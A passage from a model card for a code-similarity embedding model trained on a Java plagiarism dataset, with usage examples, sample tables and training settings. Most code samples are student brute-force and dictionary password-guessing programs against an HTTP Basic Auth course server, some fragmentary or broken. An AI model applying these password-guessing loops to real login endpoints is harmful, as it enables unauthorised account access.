System.out.println("MalformedURLException: "+me);\n }\n return(strPassword);\n }\n \n public int getAttempts(){\n return (iAttempts);\n };\n \n public static void main (String arg[]){\n timeStart = 0;\n timeEnd = 0;\n \n if (arg.length == 2) {\n BruteForce BF = new BruteForce(arg[0],arg[1]);\n System.out.println("Processing ... ");\n timeStart = System.currentTimeMillis();\n \n System.out.println("Password = " + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n System.out.println("Total Attempts = " + BF.getAttempts());\n }\n else {\n System.out.println("[Usage] java BruteForce <URL> <USERNAME>");\n\n }\n\n }\n}\n\nclass PassGenBrute {\n private char[] password;\n public PassGenBrute(int lenght) {\n password = new char[lenght];\n for (int i = 0; i < lenght; i++){\n password[i] = 65;\n }\n password[0]--;\n }\n \n public String getNewPassword()\n throws PasswordFailureException{\n password[0]++;\n\n try {\n for (int i=0; i<password.length ; i++){\n if (password[i] == 90) {\n password[i] = 97;\n }\n if (password[i] > 122) {\n password[i] = 65;\n password[i+1]++;\n }\n }\n }\n catch (RuntimeException re){\n throw new PasswordFailureException ();\n }\n return new String(password);\n }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException() {\n }\n}',
'import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private String strUserName;\n private String strURL;\n private String strDictPath;\n private int iAttempts;\n\n \n public Dictionary(String strURL,String strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n }\n \n\n public String getPassword(){\n URL u;\n String result ="";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection uc;\n String strPassword = new String();\n String strEncode;\n try{\n while (result.compareTo("HTTP/1.1 200 OK")!=0){\n \n strEncode = PG.getNewPassword();\n u = new URL(strURL);\n uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode = strUserName + ":" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n uc.setRequestProperty("Authorization"," " + strEncode);\n \n result = uc.getHeaderField(0);\n uc = null;\n u = null;\n iAttempts++;\n }\n\n }\n catch (Exception me) {\n System.out.println("MalformedURLException: "+me);\n }\n return(strPassword);\n }\n \n public int getAttempts(){\n return (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println("Processing ... ");\n timeStart = System.currentTimeMillis();\n System.out.println("Password = " + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n System.out.println("Total Attempts = " + BF.getAttempts());\n }\n else {\n System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public String getNewPassword()\n throws PasswordFailureException{\n try {\n {\n line = inputFile.readLine();\n }while (line.length() != iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException() {\n }\n}',
'import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\npublic class WatchDog {\n\n public WatchDog() {\n\n }\n public static void main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println("ishti");\n\n System.out.println("Downloading first copy");\n Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");\n String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};\n String[] cmdMail = {"//sh", "-c", "mailx -s \\"Diffrence\\" \\"@cs.rmit.edu.\\" < Diff.txt"};\n while(true){\n Thread.sleep(24*60*60*1000);\n System.out.println("Downloading new copy");\n Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");\n Thread.sleep(2000);\n Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n newin = new DataInputStream( new FileInputStream( "Diff.txt"));\n if (newin.readLine() != null){\n System.out.println("Sending Mail");\n Runtime.getRuntime().exec(cmdMail);\n Runtime.getRuntime().exec("cp newfile.html oldfile.html");\n\n }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n }\n\n }\n\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[ 1.0000, 0.9527, -0.2369],
# [ 0.9527, 1.0000, -0.2560],
# [-0.2369, -0.2560, 1.0000]])
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 38,664 training samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 466.15 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 467.06 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 454.38 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.misc.BASE64Encoder;<br><br>public class Dictionary<br>{<br> public Dictionary()<br> {}<br><br> public boolean fetchURL(String urlString,String username,String password)<br> {<br> StringWriter sw= new StringWriter();<br> PrintWriter pw = new PrintWriter();<br> try{<br> URL url=new URL(urlString); <br> String userPwd= username+":"+password;<br><br> <br> <br> <br> <br><br> BASE64Encoder encoder = new BASE64Encoder();<br> String encodedStr = encoder.encode (userPwd.getBytes());<br> System.out.println("Original String = " + userPwd);<br> System.out.println("Encoded String = " + encodedStr);<br><br> HttpURLConnection huc=(HttpURLConnection) url.openConnection(); <br> huc.setRequestProperty( "Authorization"," "+encodedStr); <br> InputStream content = (InputStream)huc.getInputStream();<br> BufferedReader in =<br> new BufferedReader (new InputStreamReader (content));<br> String line;<br> while ((line = in.readLine())...</code> | <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.misc.BASE64Encoder;<br><br>public class BruteForce<br>{<br> public BruteForce()<br> {}<br><br> public boolean fetchURL(String urlString,String username,String password)<br> {<br> StringWriter = new StringWriter();<br> PrintWriter pw = new PrintWriter();<br> try{<br> URL url=new URL(urlString); <br> String userPwd= username+":"+password;<br><br> <br> <br> <br> <br><br> BASE64Encoder encoder = new BASE64Encoder();<br> String encodedStr = encoder.encode (userPwd.getBytes());<br> System.out.println("Original String = " + userPwd);<br> System.out.println("Encoded String = " + encodedStr);<br><br> HttpURLConnection huc=(HttpURLConnection) url.openConnection(); <br> huc.setRequestProperty( "Authorization"," "+encodedStr); <br> InputStream content = (InputStream)huc.getInputStream();<br> BufferedReader in = <br> new BufferedReader (new InputStreamReader (content));<br> String line;<br> while ((line = in.readLine()) ...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class Dictionary{<br><br> private static URL location;<br> private static String user;<br> private BufferedReader input;<br> private static BufferedReader dictionary;<br> private int maxLetters = 3;<br><br> <br><br> public Dictionary() {<br> <br> Authenticator.setDefault(new MyAuthenticator ());<br><br> startTime = System.currentTimeMillis();<br> boolean passwordMatched = false;<br> while (!passwordMatched) {<br> try {<br> input = new BufferedReader(new InputStreamReader(location.openStream()));<br> String line = input.readLine();<br> while (line != null) {<br> System.out.println(line);<br> line = input.readLine();<br> }<br> input.close();<br> passwordMatched = true;<br> }<br> catch (ProtocolException e)<br> {<br> <br> <br> }<br> catch (ConnectException e) {<br> System.out.println("Failed connect");<br> }<br> catch (IOException e) ...</code> |
| <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br>public class WatchdogPropertyHelper {<br><br> private static Properties testProps;<br><br><br><br> public WatchdogPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br><br><br><br><br><br><br><br>import java.io.*;<br>import java.net.*;<br>import javax.swing.Timer;<br>import java.awt.event.*;<br>import javax.swing.JOptionPane;<br><br>public class WatchDog <br>{<br> private static Process pro = null;<br> private static Runtime run = Runtime.getRuntime();<br> <br> public static void main(String[] args) <br> {<br> String cmd = null;<br> try<br> {<br> cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/");<br><br> pro = run.exec(cmd);<br> System.out.println(cmd);<br> }<br> catch (IOException e)<br> {<br> }<br> <br> class Watch implements ActionListener<br> {<br> BufferedReader in = null;<br> String str = null;<br> Socket socket;<br> public void actionPerformed (ActionEvent event)<br> {<br> <br> try<br> {<br> System.out.println("in Watch!");<br> String cmd = new String();<br> int ERROR = 1;<br> cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/");<br><br><br> System.out.println(cmd);<br> cmd = new String("diff original.txt new.txt");<br> pro = run.exec(cmd);<br> System.out.println(cmd);<br> in = new Buf...</code> |
| <code><br>import java.net.*; <br>import java.io.*; <br>public class BruteForce {<br>private static String password=" "; <br><br> <br> public static void main(String[] args) {<br> String Result=""; <br> if (args.length<1)<br> {<br> System.out.println("Error: Correct Format Filename, username e.g<>"); <br> System.exit(1); <br> }<br> BruteForce bruteForce1 = new BruteForce();<br> Result=bruteForce1.Password("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); <br> System.out.println("The Password of "+args[0]+"is.."+Result); <br> <br> }<br><br><br><br> private String Password(String urlString,String username) <br> { <br> int cnt=0;<br> <br> t0 = System.currentTimeMillis(); <br> for ( char ch = 'A'; ch <= 'z'; ch++ )<br> { <br> if (ch>'Z' && ch<'a')<br> { <br> ch='a'; <br> } <br> <br> for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )<br> { <br> <br> if (ch1>'Z' && ch1<'a')<br> { <br> ch1='a'; <br> }<br><br><br> for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )<br> { <br> if (ch2>'Z' && ch2<'a')<br> { <br> ...</code> | <code><br><br>import java.net.*; <br>import java.io.*; <br>import java.util.Date; <br>public class Dictionary{<br>private static String password=" "; <br><br> <br> public static void main(String[] args) {<br> String Result=""; <br> if (args.length<1)<br> {<br> System.out.println("Correct Format Filename username e.g<>"); <br> System.exit(1); <br> }<br> <br> Dictionary dicton1 = new Dictionary();<br> Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); <br> System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result); <br> <br><br> <br> <br> }<br><br><br><br> private String Dict(String urlString,String username) <br> { <br> int cnt=0;<br> FileInputStream stream=null;<br> DataInputStream word=null;<br><br> try{ <br> stream = new FileInputStream ("/usr/share/lib/dict/words"); <br><br> word =new DataInputStream(stream);<br> t0 = System.currentTimeMillis(); <br> while (word.available() !=0) <br> {<br> <br> password=word.readLine();<br> if (password.length()!=3)<br> {<br> continue;<br> }<br> System.out.print("...</code> | <code><br>package java.httputils;<br><br>import java.io.IOException;<br>import java.net.MalformedURLException;<br>import java.util.ArrayList;<br>import java.util.Iterator;<br><br><br>public class RunnableHttpRequest extends Thread<br>{<br> protected String targetURL = "http://localhost:8080/";<br> protected int requestCount = 1;<br> protected ArrayList timingList = new ArrayList();<br> protected HttpRequestClient req;<br> Boolean finished = new Boolean(false);<br> HttpRequestThreadPool pool;<br><br> <br> public void run()<br> {<br> try<br> {<br> for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++)<br> {<br> try<br> {<br> req =<br> new HttpRequestClient(getTargetURL());<br><br> <br> }<br> catch (MalformedURLException e)<br> {<br> e.printStackTrace();<br> break;<br> }<br> catch (IOException e)<br> {<br> ...</code> |
* Loss: [<code>CachedMultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#cachedmultiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim",
"mini_batch_size": 32,
"gather_across_devices": false
}
```
### Evaluation Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 4,296 evaluation samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 465.22 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 464.66 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 458.05 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code><br><br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class WatchDog<br>{ <br><br> public static void main(String args[])<br> {<br><br> Runtime rt1 = Runtime.getRuntime();<br> Process prss1= null;<br><br> try<br> {<br> prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");<br> }catch(java.io.IOException e){}<br><br> MyWatchDogTimer w = new MyWatchDogTimer();<br> Timer time = new Timer();<br> time.schedule(w,864000000,864000000);<br><br> <br> }<br>}<br></code> | <code> <br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class MyTimer<br>{ <br><br> public static void main(String args[])<br> {<br> Watchdog watch = new Watchdog();<br> Timer time = new Timer();<br> time.schedule(watch,864000000,864000000);<br> <br> <br> }<br>}<br></code> | <code>import java.net.*; <br>import java.io.*; <br>import java.util.Vector;<br>import java.util.Date;<br>import java.security.*;<br><br><br><br><br><br><br><br><br><br><br><br> <br>public class Dictionary { <br> public static BufferedReader in;<br> <br> <br> public static void main(String[] args) throws Exception { <br> String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; <br> int count=0;<br> Date date = new Date();<br> startTime=date.getTime();<br> int LIMITINMINUTES=45;<br> int TIMELIMIT=LIMITINMINUTES*1000*60;<br> boolean timedOut=false;<br> boolean found=false;<br> <br> <br> Vector dictionary=new Vector(readWords());<br> System.out.println("Words in dictionary: "+dictionary.size());<br> <br> <br> <br> <br> <br> <br> <br> while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {<br> <br> Date endDate = new Date();<br> endTime=endDate.getTime(); <br> if (endTime>(TIMELIMIT+startTime)){<br> System.out.println("Timed out");<br> timedOut=true;<br> }<br> <br> String password = "";<br><br> ...</code> |
| <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br><br>public class MailsendPropertyHelper {<br><br> private static Properties testProps;<br><br> public MailsendPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br><br><br><br><br><br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br>import java.net.*;<br>import java.io.*;<br>import java.Ostermiller.util.*;<br>import java.util.*;<br><br>public class MyClient2 implements Runnable<br>{<br> private String hostname;<br> private int port;<br> private String filename;<br> private Socket s;<br> private int n;<br> private InputStream sin;<br> private OutputStream sout;<br> private int dif;<br> private String myPassword;<br> private int status;<br> private int myTime;<br> private BruteForce myMaster;<br> <br><br> public MyClient2(BruteForce bf , int num, int myPort, String password)<br> {<br> <br> hostname = new String("sec-crack.cs.rmit.edu.");<br> port = myPort;<br> status = 0;<br> myTime = 0;<br> myPassword = password;<br> filename = new String("/SEC/2/");<br> myMaster = 0;<br> n = num;<br> dif = 0;<br> <br> }<br> public getDif()<br> {<br> return dif;<br> }<br> public int getStatus()<br> {<br> return status;<br> }<br> public void run() <br> {<br> String inputLine;<br> String[] tokens = new String[5];<br> int i;<br> myTime = 0;<br> ...</code> |
| <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class Dictionary<br>{<br> public static void main (String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> String password="";<br> int requests=0;<br><br> try<br> {<br> <br> FileReader fRead = new FileReader("/usr/share/lib/dict/words");<br> BufferedReader buf = new BufferedReader(fRead);<br><br> password=buf.readLine();<br><br> while (password != null)<br> {<br> <br> if (password.length()<=3)<br> {<br> requests++;<br> if (testPassword(password, startTime, requests))<br> return password;<br> }<br><br> password = buf.readLine();<br><br> }<br> }<br> catch (IOException ioe)<br> {<br><br> }<br><br> return password;<br> }<br><br> private static boolean testPassword(String password, double startTime, int requests)<br> {<br> try<br> {<br> <br> <br> U...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class BruteForce<br>{<br><br> public static void main(String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> char first, second, third;<br> String password="";<br> int requests=0;<br><br> <br> for (int i=65; i<123; i++)<br> {<br> requests++;<br> first = (char) i;<br><br> password = first + "";<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int j=65; j<123; j++)<br> {<br> requests++;<br> second = (char) j;<br><br> password = first + "" + second;<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int k=65; k<123; k++)<br> {<br> requests++;<br> third = (char) k;<br><br> password = first + "" + second + "" + third;<br><br> <br> if (test...</code> | <code><br><br>import java.misc.BASE64Encoder;<br>import java.misc.BASE64Decoder;<br>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br><br>public class Dictionary {<br> <br> public Dictionary(String url, String dictionaryFile) {<br> try{<br> this.url = url;<br> this.dictionaryPath = dictionaryFile;<br> InputStream fis = new FileInputStream(this.dictionaryPath);<br> dict = new BufferedReader(new InputStreamReader(fis));<br><br> }catch(IOException ioe){<br> System.out.println("Error opening dictionary file:\n" +ioe);<br> }<br> }<br><br><br> <br> private String url = null;<br> <br> private String dictionaryPath = null;<br> <br> private BufferedReader dict = null;<br> <br> private int attempts = 0;<br> <br> private int passwordSize = 3;<br> <br> public void setPasswordSize(int size){<br> this.passwordSize = size;<br> }<br> <br> public String getNextPassword()throws IOException{<br><br> String line = dict.readLine();<br><br> while(line!=null&&line.length()!=this.passwordSize )<br> line = dict.readLine();<br><br> return line;<br> }<br> <br> publ...</code> |
* Loss: [<code>CachedMultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#cachedmultiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim",
"mini_batch_size": 32,
"gather_across_devices": false
}
```
### Training Hyperparameters
#### Non-Default Hyperparameters
- `per_device_train_batch_size`: 512
- `learning_rate`: 2e-05
- `num_train_epochs`: 1
- `warmup_ratio`: 0.1
- `fp16`: True
- `batch_sampler`: no_duplicates
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 512
- `per_device_eval_batch_size`: 8
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 2e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1.0
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.1
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `parallelism_config`: None
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch_fused
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `hub_revision`: None
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `liger_kernel_config`: None
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: no_duplicates
- `multi_dataset_batch_sampler`: proportional
- `router_mapping`: {}
- `learning_rate_mapping`: {}
</details>
### Framework Versions
- Python: 3.11.11
- Sentence Transformers: 5.1.1
- Transformers: 4.56.2
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.10.1
- Datasets: 4.1.1
- Tokenizers: 0.22.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### CachedMultipleNegativesRankingLoss
```bibtex
@misc{gao2021scaling,
title={Scaling Deep Contrastive Learning Batch Size under Memory Limited Setup},
